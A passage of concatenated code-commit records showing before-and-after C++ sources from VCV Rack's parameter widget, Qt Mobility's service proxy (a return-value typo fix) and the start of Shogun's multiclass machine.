{\n\t\tparamWidget->resetAction();\n\t}\n};\n\n\nstruct ParamFineItem : ui::MenuItem {\n};\n\n\nstruct ParamUnmapItem : ui::MenuItem {\n\tParamWidget* paramWidget;\n\tvoid onAction(const event::Action& e) override {\n\t\tengine::ParamHandle* paramHandle = APP->engine->getParamHandle(paramWidget->paramQuantity->module->id, paramWidget->paramQuantity->paramId);\n\t\tif (paramHandle) {\n\t\t\tAPP->engine->updateParamHandle(paramHandle, -1, 0);\n\t\t}\n\t}\n};\n\n\nvoid ParamWidget::step() {\n\tif (paramQuantity) {\n\t\tfloat value = paramQuantity->getValue();\n\t\t\/\/ Trigger change event when paramQuantity value changes\n\t\tif (value != dirtyValue) {\n\t\t\tdirtyValue = value;\n\t\t\tevent::Change eChange;\n\t\t\tonChange(eChange);\n\t\t}\n\t}\n\n\tWidget::step();\n}\n\nvoid ParamWidget::draw(const DrawArgs& args) {\n\tWidget::draw(args);\n\n\t\/\/ Param map indicator\n\tengine::ParamHandle* paramHandle = paramQuantity ? APP->engine->getParamHandle(paramQuantity->module->id, paramQuantity->paramId) : NULL;\n\tif (paramHandle) {\n\t\tNVGcolor color = paramHandle->color;\n\t\tnvgBeginPath(args.vg);\n\t\tconst float radius = 6;\n\t\t\/\/ nvgCircle(args.vg, box.size.x \/ 2, box.size.y \/ 2, radius);\n\t\tnvgRect(args.vg, box.size.x - radius, box.size.y - radius, radius, radius);\n\t\tnvgFillColor(args.vg, color);\n\t\tnvgFill(args.vg);\n\t\tnvgStrokeColor(args.vg, color::mult(color, 0.5));\n\t\tnvgStrokeWidth(args.vg, 1.0);\n\t\tnvgStroke(args.vg);\n\t}\n}\n\nvoid ParamWidget::onButton(const event::Button& e) {\n\tOpaqueWidget::onButton(e);\n\n\t\/\/ Touch parameter\n\tif (e.action == GLFW_PRESS && e.button == GLFW_MOUSE_BUTTON_LEFT && (e.mods & RACK_MOD_MASK) == 0) {\n\t\tif (paramQuantity) {\n\t\t\tAPP->scene->rack->touchedParam = this;\n\t\t}\n\t\te.consume(this);\n\t}\n\n\t\/\/ Right click to open context menu\n\tif (e.action == GLFW_PRESS && e.button == GLFW_MOUSE_BUTTON_RIGHT && (e.mods & RACK_MOD_MASK) == 0) {\n\t\tcreateContextMenu();\n\t\te.consume(this);\n\t}\n}\n\nvoid ParamWidget::onDoubleClick(const event::DoubleClick& e) {\n\tresetAction();\n}\n\nvoid ParamWidget::onEnter(const event::Enter& e) {\n\tif (settings::paramTooltip && !tooltip && paramQuantity) {\n\t\tParamTooltip* paramTooltip = new ParamTooltip;\n\t\tparamTooltip->paramWidget = this;\n\t\tAPP->scene->addChild(paramTooltip);\n\t\ttooltip = paramTooltip;\n\t}\n}\n\nvoid ParamWidget::onLeave(const event::Leave& e) {\n\tif (tooltip) {\n\t\tAPP->scene->removeChild(tooltip);\n\t\tdelete tooltip;\n\t\ttooltip = NULL;\n\t}\n}\n\nvoid ParamWidget::fromJson(json_t* rootJ) {\n\tjson_t* valueJ = json_object_get(rootJ, \"value\");\n\tif (valueJ) {\n\t\tif (paramQuantity)\n\t\t\tparamQuantity->setValue(json_number_value(valueJ));\n\t}\n}\n\nvoid ParamWidget::createContextMenu() {\n\tui::Menu* menu = createMenu();\n\n\tParamLabel* paramLabel = new ParamLabel;\n\tparamLabel->paramWidget = this;\n\tmenu->addChild(paramLabel);\n\n\tParamField* paramField = new ParamField;\n\tparamField->box.size.x = 100;\n\tparamField->setParamWidget(this);\n\tmenu->addChild(paramField);\n\n\tParamResetItem* resetItem = new ParamResetItem;\n\tresetItem->text = \"Initialize\";\n\tresetItem->rightText = \"Double-click\";\n\tresetItem->paramWidget = this;\n\tmenu->addChild(resetItem);\n\n\t\/\/ ParamFineItem *fineItem = new ParamFineItem;\n\t\/\/ fineItem->text = \"Fine adjust\";\n\t\/\/ fineItem->rightText = RACK_MOD_CTRL_NAME \"+drag\";\n\t\/\/ fineItem->disabled = true;\n\t\/\/ menu->addChild(fineItem);\n\n\tengine::ParamHandle* paramHandle = paramQuantity ? APP->engine->getParamHandle(paramQuantity->module->id, paramQuantity->paramId) : NULL;\n\tif (paramHandle) {\n\t\tParamUnmapItem* unmapItem = new ParamUnmapItem;\n\t\tunmapItem->text = \"Unmap\";\n\t\tunmapItem->rightText = paramHandle->text;\n\t\tunmapItem->paramWidget = this;\n\t\tmenu->addChild(unmapItem);\n\t}\n}\n\nvoid ParamWidget::resetAction() {\n\tif (paramQuantity && paramQuantity->isBounded()) {\n\t\tfloat oldValue = paramQuantity->getValue();\n\t\treset();\n\t\t\/\/ Here's another way of doing it, but either works.\n\t\t\/\/ paramQuantity->getParam()->reset();\n\t\tfloat newValue = paramQuantity->getValue();\n\n\t\tif (oldValue != newValue) {\n\t\t\t\/\/ Push ParamChange history action\n\t\t\thistory::ParamChange* h = new history::ParamChange;\n\t\t\th->name = \"reset parameter\";\n\t\t\th->moduleId = paramQuantity->module->id;\n\t\t\th->paramId = paramQuantity->paramId;\n\t\t\th->oldValue = oldValue;\n\t\t\th->newValue = newValue;\n\t\t\tAPP->history->push(h);\n\t\t}\n\t}\n}\n\n\n} \/\/ namespace app\n} \/\/ namespace rack\n<commit_msg>Nudge ParamTooltip inside parent.<commit_after>#include <app\/ParamWidget.hpp>\n#include <ui\/MenuOverlay.hpp>\n#include <ui\/TextField.hpp>\n#include <app\/Scene.hpp>\n#include <app.hpp>\n#include <engine\/Engine.hpp>\n#include <settings.hpp>\n#include <history.hpp>\n#include <helpers.hpp>\n\n\nnamespace rack {\nnamespace app {\n\n\nstruct ParamField : ui::TextField {\n\tParamWidget* paramWidget;\n\n\tvoid step() override {\n\t\t\/\/ Keep selected\n\t\tAPP->event->setSelected(this);\n\t\tTextField::step();\n\t}\n\n\tvoid setParamWidget(ParamWidget* paramWidget) {\n\t\tthis->paramWidget = paramWidget;\n\t\tif (paramWidget->paramQuantity)\n\t\t\ttext = paramWidget->paramQuantity->getDisplayValueString();\n\t\tselectAll();\n\t}\n\n\tvoid onSelectKey(const event::SelectKey& e) override {\n\t\tif (e.action == GLFW_PRESS && (e.key == GLFW_KEY_ENTER || e.key == GLFW_KEY_KP_ENTER)) {\n\t\t\tfloat oldValue = paramWidget->paramQuantity->getValue();\n\t\t\tif (paramWidget->paramQuantity)\n\t\t\t\tparamWidget->paramQuantity->setDisplayValueString(text);\n\t\t\tfloat newValue = paramWidget->paramQuantity->getValue();\n\n\t\t\tif (oldValue != newValue) {\n\t\t\t\t\/\/ Push ParamChange history action\n\t\t\t\thistory::ParamChange* h = new history::ParamChange;\n\t\t\t\th->moduleId = paramWidget->paramQuantity->module->id;\n\t\t\t\th->paramId = paramWidget->paramQuantity->paramId;\n\t\t\t\th->oldValue = oldValue;\n\t\t\t\th->newValue = newValue;\n\t\t\t\tAPP->history->push(h);\n\t\t\t}\n\n\t\t\tui::MenuOverlay* overlay = getAncestorOfType<ui::MenuOverlay>();\n\t\t\toverlay->requestDelete();\n\t\t\te.consume(this);\n\t\t}\n\n\t\tif (!e.getTarget())\n\t\t\tTextField::onSelectKey(e);\n\t}\n};\n\n\nstruct ParamTooltip : ui::Tooltip {\n\tParamWidget* paramWidget;\n\n\tvoid step() override {\n\t\tif (paramWidget->paramQuantity) {\n\t\t\t\/\/ Quantity string\n\t\t\ttext = paramWidget->paramQuantity->getString();\n\t\t\t\/\/ Param description\n\t\t\tstd::string description = paramWidget->paramQuantity->description;\n\t\t\tif (!description.empty())\n\t\t\t\ttext += \"\\n\" + description;\n\t\t}\n\t\tTooltip::step();\n\t\t\/\/ Position at bottom-right of parameter\n\t\tbox.pos = paramWidget->getAbsoluteOffset(paramWidget->box.size).round();\n\t\t\/\/ Fit inside parent (copied from Tooltip.cpp)\n\t\tassert(parent);\n\t\tbox = box.nudge(parent->box.zeroPos());\n\t}\n};\n\n\nstruct ParamLabel : ui::MenuLabel {\n\tParamWidget* paramWidget;\n\tvoid step() override {\n\t\ttext = paramWidget->paramQuantity->getString();\n\t\tMenuLabel::step();\n\t}\n};\n\n\nstruct ParamResetItem : ui::MenuItem {\n\tParamWidget* paramWidget;\n\tvoid onAction(const event::Action& e) override {\n\t\tparamWidget->resetAction();\n\t}\n};\n\n\nstruct ParamFineItem : ui::MenuItem {\n};\n\n\nstruct ParamUnmapItem : ui::MenuItem {\n\tParamWidget* paramWidget;\n\tvoid onAction(const event::Action& e) override {\n\t\tengine::ParamHandle* paramHandle = APP->engine->getParamHandle(paramWidget->paramQuantity->module->id, paramWidget->paramQuantity->paramId);\n\t\tif (paramHandle) {\n\t\t\tAPP->engine->updateParamHandle(paramHandle, -1, 0);\n\t\t}\n\t}\n};\n\n\nvoid ParamWidget::step() {\n\tif (paramQuantity) {\n\t\tfloat value = paramQuantity->getValue();\n\t\t\/\/ Trigger change event when paramQuantity value changes\n\t\tif (value != dirtyValue) {\n\t\t\tdirtyValue = value;\n\t\t\tevent::Change eChange;\n\t\t\tonChange(eChange);\n\t\t}\n\t}\n\n\tWidget::step();\n}\n\nvoid ParamWidget::draw(const DrawArgs& args) {\n\tWidget::draw(args);\n\n\t\/\/ Param map indicator\n\tengine::ParamHandle* paramHandle = paramQuantity ? APP->engine->getParamHandle(paramQuantity->module->id, paramQuantity->paramId) : NULL;\n\tif (paramHandle) {\n\t\tNVGcolor color = paramHandle->color;\n\t\tnvgBeginPath(args.vg);\n\t\tconst float radius = 6;\n\t\t\/\/ nvgCircle(args.vg, box.size.x \/ 2, box.size.y \/ 2, radius);\n\t\tnvgRect(args.vg, box.size.x - radius, box.size.y - radius, radius, radius);\n\t\tnvgFillColor(args.vg, color);\n\t\tnvgFill(args.vg);\n\t\tnvgStrokeColor(args.vg, color::mult(color, 0.5));\n\t\tnvgStrokeWidth(args.vg, 1.0);\n\t\tnvgStroke(args.vg);\n\t}\n}\n\nvoid ParamWidget::onButton(const event::Button& e) {\n\tOpaqueWidget::onButton(e);\n\n\t\/\/ Touch parameter\n\tif (e.action == GLFW_PRESS && e.button == GLFW_MOUSE_BUTTON_LEFT && (e.mods & RACK_MOD_MASK) == 0) {\n\t\tif (paramQuantity) {\n\t\t\tAPP->scene->rack->touchedParam = this;\n\t\t}\n\t\te.consume(this);\n\t}\n\n\t\/\/ Right click to open context menu\n\tif (e.action == GLFW_PRESS && e.button == GLFW_MOUSE_BUTTON_RIGHT && (e.mods & RACK_MOD_MASK) == 0) {\n\t\tcreateContextMenu();\n\t\te.consume(this);\n\t}\n}\n\nvoid ParamWidget::onDoubleClick(const event::DoubleClick& e) {\n\tresetAction();\n}\n\nvoid ParamWidget::onEnter(const event::Enter& e) {\n\tif (settings::paramTooltip && !tooltip && paramQuantity) {\n\t\tParamTooltip* paramTooltip = new ParamTooltip;\n\t\tparamTooltip->paramWidget = this;\n\t\tAPP->scene->addChild(paramTooltip);\n\t\ttooltip = paramTooltip;\n\t}\n}\n\nvoid ParamWidget::onLeave(const event::Leave& e) {\n\tif (tooltip) {\n\t\tAPP->scene->removeChild(tooltip);\n\t\tdelete tooltip;\n\t\ttooltip = NULL;\n\t}\n}\n\nvoid ParamWidget::fromJson(json_t* rootJ) {\n\tjson_t* valueJ = json_object_get(rootJ, \"value\");\n\tif (valueJ) {\n\t\tif (paramQuantity)\n\t\t\tparamQuantity->setValue(json_number_value(valueJ));\n\t}\n}\n\nvoid ParamWidget::createContextMenu() {\n\tui::Menu* menu = createMenu();\n\n\tParamLabel* paramLabel = new ParamLabel;\n\tparamLabel->paramWidget = this;\n\tmenu->addChild(paramLabel);\n\n\tParamField* paramField = new ParamField;\n\tparamField->box.size.x = 100;\n\tparamField->setParamWidget(this);\n\tmenu->addChild(paramField);\n\n\tParamResetItem* resetItem = new ParamResetItem;\n\tresetItem->text = \"Initialize\";\n\tresetItem->rightText = \"Double-click\";\n\tresetItem->paramWidget = this;\n\tmenu->addChild(resetItem);\n\n\t\/\/ ParamFineItem *fineItem = new ParamFineItem;\n\t\/\/ fineItem->text = \"Fine adjust\";\n\t\/\/ fineItem->rightText = RACK_MOD_CTRL_NAME \"+drag\";\n\t\/\/ fineItem->disabled = true;\n\t\/\/ menu->addChild(fineItem);\n\n\tengine::ParamHandle* paramHandle = paramQuantity ? APP->engine->getParamHandle(paramQuantity->module->id, paramQuantity->paramId) : NULL;\n\tif (paramHandle) {\n\t\tParamUnmapItem* unmapItem = new ParamUnmapItem;\n\t\tunmapItem->text = \"Unmap\";\n\t\tunmapItem->rightText = paramHandle->text;\n\t\tunmapItem->paramWidget = this;\n\t\tmenu->addChild(unmapItem);\n\t}\n}\n\nvoid ParamWidget::resetAction() {\n\tif (paramQuantity && paramQuantity->isBounded()) {\n\t\tfloat oldValue = paramQuantity->getValue();\n\t\treset();\n\t\t\/\/ Here's another way of doing it, but either works.\n\t\t\/\/ paramQuantity->getParam()->reset();\n\t\tfloat newValue = paramQuantity->getValue();\n\n\t\tif (oldValue != newValue) {\n\t\t\t\/\/ Push ParamChange history action\n\t\t\thistory::ParamChange* h = new history::ParamChange;\n\t\t\th->name = \"reset parameter\";\n\t\t\th->moduleId = paramQuantity->module->id;\n\t\t\th->paramId = paramQuantity->paramId;\n\t\t\th->oldValue = oldValue;\n\t\t\th->newValue = newValue;\n\t\t\tAPP->history->push(h);\n\t\t}\n\t}\n}\n\n\n} \/\/ namespace app\n} \/\/ namespace rack\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"proxyobject_p.h\"\n#include \"qmetaobjectbuilder_p.h\"\n\n#include <QDebug>\n\nQTM_BEGIN_NAMESPACE\n\nclass QServiceProxyPrivate\n{\npublic:\n    QByteArray metadata;\n    QMetaObject* meta;\n    ObjectEndPoint* endPoint;\n};\n\nQServiceProxy::QServiceProxy(const QByteArray& metadata, ObjectEndPoint* endPoint, QObject* parent)\n    : QObject(parent)\n{\n    Q_ASSERT(endPoint);\n    d = new QServiceProxyPrivate();\n    d->metadata = metadata;\n    d->meta = 0;\n    d->endPoint = endPoint;\n\n    QDataStream stream(d->metadata);\n    QMetaObjectBuilder builder;\n    QMap<QByteArray, const QMetaObject*> refs;\n\n    builder.deserialize(stream, refs);\n    if (stream.status() != QDataStream::Ok) {\n        qWarning() << \"Invalid metaObject for service received\";\n    } else {\n        QMetaMethodBuilder b = builder.addSignal(\"errorUnrecoverableIPCFault(QService::UnrecoverableIPCError)\");\n        \n        \/\/ After all methods are filled in, otherwise qvector won't be big enough\n        localSignals.fill(false, builder.methodCount());        \n        localSignals.replace(b.index(), true); \/\/ Call activate locally\n        \n        d->meta = builder.toMetaObject();\n        qWarning() << \"Proxy object for\" << d->meta->className() << \"created.\";\n    }\n}\n\nQServiceProxy::~QServiceProxy()\n{\n    if (d->meta)\n        delete d->meta;\n    delete d;\n}\n\n\/\/provide custom Q_OBJECT implementation\nconst QMetaObject* QServiceProxy::metaObject() const\n{\n    return d->meta;\n}\n\nint QServiceProxy::qt_metacall(QMetaObject::Call c, int id, void **a)\n{\n    id = QObject::qt_metacall(c, id, a);\n    if (id < 0 || !d->meta) \n        return id;\n    \n    if(localSignals.at(id)){\n      QMetaObject::activate(this, d->meta, id, a);\n      return;      \n    }\n\n    if (c == QMetaObject::InvokeMetaMethod) {\n        const int mcount = d->meta->methodCount() - d->meta->methodOffset();\n        const int metaIndex = id + d->meta->methodOffset();\n\n        QMetaMethod method = d->meta->method(metaIndex);\n\n        const int returnType = QMetaType::type(method.typeName());\n\n        \/\/process arguments\n        const QList<QByteArray> pTypes = method.parameterTypes();\n        const int pTypesCount = pTypes.count();\n        QVariantList args ;\n        if (pTypesCount > 10) {\n            qWarning() << \"Cannot call\" << method.signature() << \". More than 10 parameter.\";\n            return id;\n        }\n        for (int i=0; i < pTypesCount; i++) {\n            const QByteArray& t = pTypes[i];\n\n            int variantType = QVariant::nameToType(t);\n            if (variantType == QVariant::UserType)\n                variantType = QMetaType::type(t);\n\n            if (t == \"QVariant\") {  \/\/ignore whether QVariant is declared as metatype\n                args << *reinterpret_cast<const QVariant(*)>(a[i+1]);\n            } else if ( variantType == 0 ){\n                qWarning(\"%s: argument %s has unknown type. Use qRegisterMetaType to register it.\",\n                        method.signature(), t.data());\n                return id;\n            } else {\n                args << QVariant(variantType, a[i+1]);\n            }\n        }\n\n        \/\/QVariant looks the same as Void type. we need to distinguish them\n        if (returnType == QMetaType::Void && strcmp(method.typeName(),\"QVariant\") ) {\n            d->endPoint->invokeRemote(metaIndex, args, returnType);\n        } else {\n            \/\/TODO: ugly but works\n            \/\/add +1 if we have a variant return type to avoid triggering of void\n            \/\/code path\n            \/\/invokeRemote() parameter list needs review\n            QVariant result = d->endPoint->invokeRemote(metaIndex, args, \n                    returnType==0 ? returnType+1: returnType);\n            if (returnType != 0 && strcmp(method.typeName(),\"QVariant\")) {\n                QByteArray buffer;\n                QDataStream stream(&buffer, QIODevice::ReadWrite);\n                QMetaType::save(stream, returnType, result.constData());\n                stream.device()->seek(0);\n                QMetaType::load(stream, returnType, a[0]);\n            } else {\n                if (a[0]) *reinterpret_cast< QVariant*>(a[0]) = result;\n            }\n        }\n        id-=mcount;\n    } else if ( c == QMetaObject::ReadProperty \n            || c == QMetaObject::WriteProperty\n            || c == QMetaObject::ResetProperty ) {\n        const int pCount = d->meta->propertyCount() - d->meta->propertyOffset();\n        const int metaIndex = id + d->meta->propertyOffset();\n        QMetaProperty property = d->meta->property(metaIndex);\n        if (property.isValid()) {\n            int pType = property.type();\n            if (pType == QVariant::UserType)\n                pType = QMetaType::type(property.typeName());\n\n            QVariant arg;\n            if ( c == QMetaObject::WriteProperty ) {\n                if (pType == QVariant::Invalid && QByteArray(property.typeName()) == \"QVariant\")\n                    arg =  *reinterpret_cast<const QVariant(*)>(a[0]);\n                else if (pType == 0) {\n                    qWarning(\"%s: property %s has unkown type\", property.name(), property.typeName());\n                    return id;\n                } else {\n                    arg = QVariant(pType, a[0]);\n                }\n            }\n            QVariant result;\n            if (c == QMetaObject::ReadProperty) {\n                result = d->endPoint->invokeRemoteProperty(metaIndex, arg, pType, c);\n                \/\/wrap result for client\n                if (pType != 0) {\n                    QByteArray buffer;\n                    QDataStream stream(&buffer, QIODevice::ReadWrite);\n                    QMetaType::save(stream, pType, result.constData());\n                    stream.device()->seek(0);\n                    QMetaType::load(stream, pType, a[0]);\n                } else {\n                    if (a[0]) *reinterpret_cast< QVariant*>(a[0]) = result;\n                }\n            } else {\n                d->endPoint->invokeRemoteProperty(metaIndex, arg, pType, c);\n            }\n        } \n        id-=pCount;\n    } else if ( c == QMetaObject::QueryPropertyDesignable\n            || c == QMetaObject::QueryPropertyScriptable\n            || c == QMetaObject::QueryPropertyStored\n            || c == QMetaObject::QueryPropertyEditable\n            || c == QMetaObject::QueryPropertyUser ) \n    {\n        \/\/Nothing to do?\n        \/\/These values are part of the transferred meta object already\n    } else {\n        \/\/TODO\n        qWarning() << \"MetaCall type\" << c << \"not yet handled\";\n    }\n    return id;\n}\n\nvoid *QServiceProxy::qt_metacast(const char* className)\n{\n    if (!className) return 0;\n    \/\/this object should not be castable to anything but QObject\n    return QObject::qt_metacast(className);\n}\nQTM_END_NAMESPACE\n<commit_msg>Fix return typo<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"proxyobject_p.h\"\n#include \"qmetaobjectbuilder_p.h\"\n\n#include <QDebug>\n\nQTM_BEGIN_NAMESPACE\n\nclass QServiceProxyPrivate\n{\npublic:\n    QByteArray metadata;\n    QMetaObject* meta;\n    ObjectEndPoint* endPoint;\n};\n\nQServiceProxy::QServiceProxy(const QByteArray& metadata, ObjectEndPoint* endPoint, QObject* parent)\n    : QObject(parent)\n{\n    Q_ASSERT(endPoint);\n    d = new QServiceProxyPrivate();\n    d->metadata = metadata;\n    d->meta = 0;\n    d->endPoint = endPoint;\n\n    QDataStream stream(d->metadata);\n    QMetaObjectBuilder builder;\n    QMap<QByteArray, const QMetaObject*> refs;\n\n    builder.deserialize(stream, refs);\n    if (stream.status() != QDataStream::Ok) {\n        qWarning() << \"Invalid metaObject for service received\";\n    } else {\n        QMetaMethodBuilder b = builder.addSignal(\"errorUnrecoverableIPCFault(QService::UnrecoverableIPCError)\");\n        \n        \/\/ After all methods are filled in, otherwise qvector won't be big enough\n        localSignals.fill(false, builder.methodCount());        \n        localSignals.replace(b.index(), true); \/\/ Call activate locally\n        \n        d->meta = builder.toMetaObject();\n        qWarning() << \"Proxy object for\" << d->meta->className() << \"created.\";\n    }\n}\n\nQServiceProxy::~QServiceProxy()\n{\n    if (d->meta)\n        delete d->meta;\n    delete d;\n}\n\n\/\/provide custom Q_OBJECT implementation\nconst QMetaObject* QServiceProxy::metaObject() const\n{\n    return d->meta;\n}\n\nint QServiceProxy::qt_metacall(QMetaObject::Call c, int id, void **a)\n{\n    id = QObject::qt_metacall(c, id, a);\n    if (id < 0 || !d->meta) \n        return id;\n    \n    if(localSignals.at(id)){\n      QMetaObject::activate(this, d->meta, id, a);\n      return id;      \n    }\n\n    if (c == QMetaObject::InvokeMetaMethod) {\n        const int mcount = d->meta->methodCount() - d->meta->methodOffset();\n        const int metaIndex = id + d->meta->methodOffset();\n\n        QMetaMethod method = d->meta->method(metaIndex);\n\n        const int returnType = QMetaType::type(method.typeName());\n\n        \/\/process arguments\n        const QList<QByteArray> pTypes = method.parameterTypes();\n        const int pTypesCount = pTypes.count();\n        QVariantList args ;\n        if (pTypesCount > 10) {\n            qWarning() << \"Cannot call\" << method.signature() << \". More than 10 parameter.\";\n            return id;\n        }\n        for (int i=0; i < pTypesCount; i++) {\n            const QByteArray& t = pTypes[i];\n\n            int variantType = QVariant::nameToType(t);\n            if (variantType == QVariant::UserType)\n                variantType = QMetaType::type(t);\n\n            if (t == \"QVariant\") {  \/\/ignore whether QVariant is declared as metatype\n                args << *reinterpret_cast<const QVariant(*)>(a[i+1]);\n            } else if ( variantType == 0 ){\n                qWarning(\"%s: argument %s has unknown type. Use qRegisterMetaType to register it.\",\n                        method.signature(), t.data());\n                return id;\n            } else {\n                args << QVariant(variantType, a[i+1]);\n            }\n        }\n\n        \/\/QVariant looks the same as Void type. we need to distinguish them\n        if (returnType == QMetaType::Void && strcmp(method.typeName(),\"QVariant\") ) {\n            d->endPoint->invokeRemote(metaIndex, args, returnType);\n        } else {\n            \/\/TODO: ugly but works\n            \/\/add +1 if we have a variant return type to avoid triggering of void\n            \/\/code path\n            \/\/invokeRemote() parameter list needs review\n            QVariant result = d->endPoint->invokeRemote(metaIndex, args, \n                    returnType==0 ? returnType+1: returnType);\n            if (returnType != 0 && strcmp(method.typeName(),\"QVariant\")) {\n                QByteArray buffer;\n                QDataStream stream(&buffer, QIODevice::ReadWrite);\n                QMetaType::save(stream, returnType, result.constData());\n                stream.device()->seek(0);\n                QMetaType::load(stream, returnType, a[0]);\n            } else {\n                if (a[0]) *reinterpret_cast< QVariant*>(a[0]) = result;\n            }\n        }\n        id-=mcount;\n    } else if ( c == QMetaObject::ReadProperty \n            || c == QMetaObject::WriteProperty\n            || c == QMetaObject::ResetProperty ) {\n        const int pCount = d->meta->propertyCount() - d->meta->propertyOffset();\n        const int metaIndex = id + d->meta->propertyOffset();\n        QMetaProperty property = d->meta->property(metaIndex);\n        if (property.isValid()) {\n            int pType = property.type();\n            if (pType == QVariant::UserType)\n                pType = QMetaType::type(property.typeName());\n\n            QVariant arg;\n            if ( c == QMetaObject::WriteProperty ) {\n                if (pType == QVariant::Invalid && QByteArray(property.typeName()) == \"QVariant\")\n                    arg =  *reinterpret_cast<const QVariant(*)>(a[0]);\n                else if (pType == 0) {\n                    qWarning(\"%s: property %s has unkown type\", property.name(), property.typeName());\n                    return id;\n                } else {\n                    arg = QVariant(pType, a[0]);\n                }\n            }\n            QVariant result;\n            if (c == QMetaObject::ReadProperty) {\n                result = d->endPoint->invokeRemoteProperty(metaIndex, arg, pType, c);\n                \/\/wrap result for client\n                if (pType != 0) {\n                    QByteArray buffer;\n                    QDataStream stream(&buffer, QIODevice::ReadWrite);\n                    QMetaType::save(stream, pType, result.constData());\n                    stream.device()->seek(0);\n                    QMetaType::load(stream, pType, a[0]);\n                } else {\n                    if (a[0]) *reinterpret_cast< QVariant*>(a[0]) = result;\n                }\n            } else {\n                d->endPoint->invokeRemoteProperty(metaIndex, arg, pType, c);\n            }\n        } \n        id-=pCount;\n    } else if ( c == QMetaObject::QueryPropertyDesignable\n            || c == QMetaObject::QueryPropertyScriptable\n            || c == QMetaObject::QueryPropertyStored\n            || c == QMetaObject::QueryPropertyEditable\n            || c == QMetaObject::QueryPropertyUser ) \n    {\n        \/\/Nothing to do?\n        \/\/These values are part of the transferred meta object already\n    } else {\n        \/\/TODO\n        qWarning() << \"MetaCall type\" << c << \"not yet handled\";\n    }\n    return id;\n}\n\nvoid *QServiceProxy::qt_metacast(const char* className)\n{\n    if (!className) return 0;\n    \/\/this object should not be castable to anything but QObject\n    return QObject::qt_metacast(className);\n}\nQTM_END_NAMESPACE\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 1999-2011 Soeren Sonnenburg\n * Written (W) 2012 Fernando José Iglesias García and Sergey Lisitsyn\n * Copyright (C) 2012 Sergey Lisitsyn, Fernando José Iglesias Garcia\n *\/\n\n#include <shogun\/multiclass\/MulticlassOneVsRestStrategy.h>\n#include <shogun\/machine\/MulticlassMachine.h>\n#include <shogun\/base\/Parameter.h>\n#include <shogun\/features\/Labels.h>\n\nusing namespace shogun;\n\nCMulticlassMachine::CMulticlassMachine()\n: CMachine(), m_multiclass_strategy(new CMulticlassOneVsRestStrategy()),\n\tm_machine(NULL), m_machines(new CDynamicObjectArray())\n{\n\tSG_REF(m_multiclass_strategy);\n\tregister_parameters();\n}\n\nCMulticlassMachine::CMulticlassMachine(\n\t\tCMulticlassStrategy *strategy,\n\t\tCMachine* machine, CLabels* labs)\n: CMachine(), m_multiclass_strategy(strategy),\n\tm_machines(new CDynamicObjectArray())\n{\n\tSG_REF(strategy);\n\tset_labels(labs);\n\tSG_REF(machine);\n\tm_machine = machine;\n\tregister_parameters();\n\n    if (labs)\n        init_strategy();\n}\n\nCMulticlassMachine::~CMulticlassMachine()\n{\n\tSG_UNREF(m_multiclass_strategy);\n\tSG_UNREF(m_machine);\n\tSG_UNREF(m_machines);\n}\n\nvoid CMulticlassMachine::set_labels(CLabels* lab)\n{\n    CMachine::set_labels(lab);\n    if (lab)\n        init_strategy();\n}\n\nvoid CMulticlassMachine::register_parameters()\n{\n\tSG_ADD((CSGObject**)&m_multiclass_strategy,\"m_multiclass_type\", \"Multiclass strategy\", MS_NOT_AVAILABLE);\n\tSG_ADD((CSGObject**)&m_machine, \"m_machine\", \"The base machine\", MS_NOT_AVAILABLE);\n\tSG_ADD((CSGObject**)&m_machines, \"machines\", \"Machines that jointly make up the multi-class machine.\", MS_NOT_AVAILABLE);\n}\n\nvoid CMulticlassMachine::init_strategy()\n{\n    int32_t num_classes = m_labels->get_num_classes();\n    m_multiclass_strategy->set_num_classes(num_classes);\n}\n\nCLabels* CMulticlassMachine::apply(CFeatures* features)\n{\n\tinit_machines_for_apply(features);\n\treturn apply();\n}\n\nCLabels* CMulticlassMachine::apply()\n{\n\t\/** Ensure that m_machines have the features set *\/\n\tinit_machines_for_apply(NULL);\n\n\tif (is_ready())\n\t{\n\t\tint32_t num_vectors=get_num_rhs_vectors();\n\t\tint32_t 